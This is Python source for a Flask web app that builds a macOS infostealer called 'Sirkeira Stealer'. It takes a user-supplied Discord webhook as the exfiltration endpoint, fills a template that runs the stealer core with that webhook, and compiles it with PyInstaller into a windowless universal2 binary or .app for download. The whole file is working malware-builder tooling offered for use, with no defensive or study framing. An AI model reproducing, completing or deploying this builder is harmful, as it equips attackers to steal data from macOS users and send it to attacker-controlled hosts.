from flask import Flask, render_template, request, send_file, jsonify import subprocess import os import shutil import tempfile from pathlib import Path app = Flask(__name__) TEMPLATE = """# Auto-generated Sirkeira Stealer for macOS import sys import os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from stealer_core import Config, run_stealer if __name__ == "__main__": config = Config( webhook_url="{webhook_url}", malware_name="{malware_name}", version="{version}" ) run_stealer(config) """ @app.route("/", methods=["GET", "POST"]) def index(): if request.method == "POST": webhook = request.form.get("webhook", "").strip() name = request.form.get("name", "Sirkeira Stealer").strip() version = request.form.get("version", "1.6.0").strip() if not webhook.startswith("https://discord.com/api/webhooks/"): return jsonify({"error": "Invalid Discord webhook URL"}), 400 with tempfile.TemporaryDirectory() as tmpdir: build_dir = Path(tmpdir) stealer_file = build_dir / "stealer.py" core_file = build_dir / "stealer_core.py" shutil.copy("stealer_core.py", core_file) stealer_file.write_text( TEMPLATE.format(webhook_url=webhook, malware_name=name, version=version) ) exe_name = f"{name.replace(' ', '_')}_v{version}" cmd = [ "pyinstaller", "--onefile", "--noconsole", "--clean", "--name", exe_name, "--distpath", str(build_dir / "dist"), "--target-arch", "universal2", # Works on Intel + Apple Silicon str(stealer_file) ] try: subprocess.check_call(cmd, cwd=tmpdir) exe_path = build_dir / "dist" / f"{exe_name}.app" if os.uname().sysname == "Darwin" else build_dir / "dist" / f"{exe_name}" if not exe_path.exists(): exe_path = build_dir / "dist" / f"{exe_name}.app" # fallback if exe_path.exists(): return send_file(str(exe_path), as_attachment=True, download_name=f"{exe_name}.app" if exe_path.suffix == "" else exe_path.name) else: return jsonify({"error": "Build failed - no output found"}), 500 except Exception as e: return jsonify({"error": str(e)}), 500 return render_template("index.html") if __name__ == "__main__": print("🌐 Sirkeira Local Builder running → http://127.0.0.1:5000") print("Note: On macOS, the output will be a .app bundle") app.run(host="127.0.0.1", port=5000, debug=False)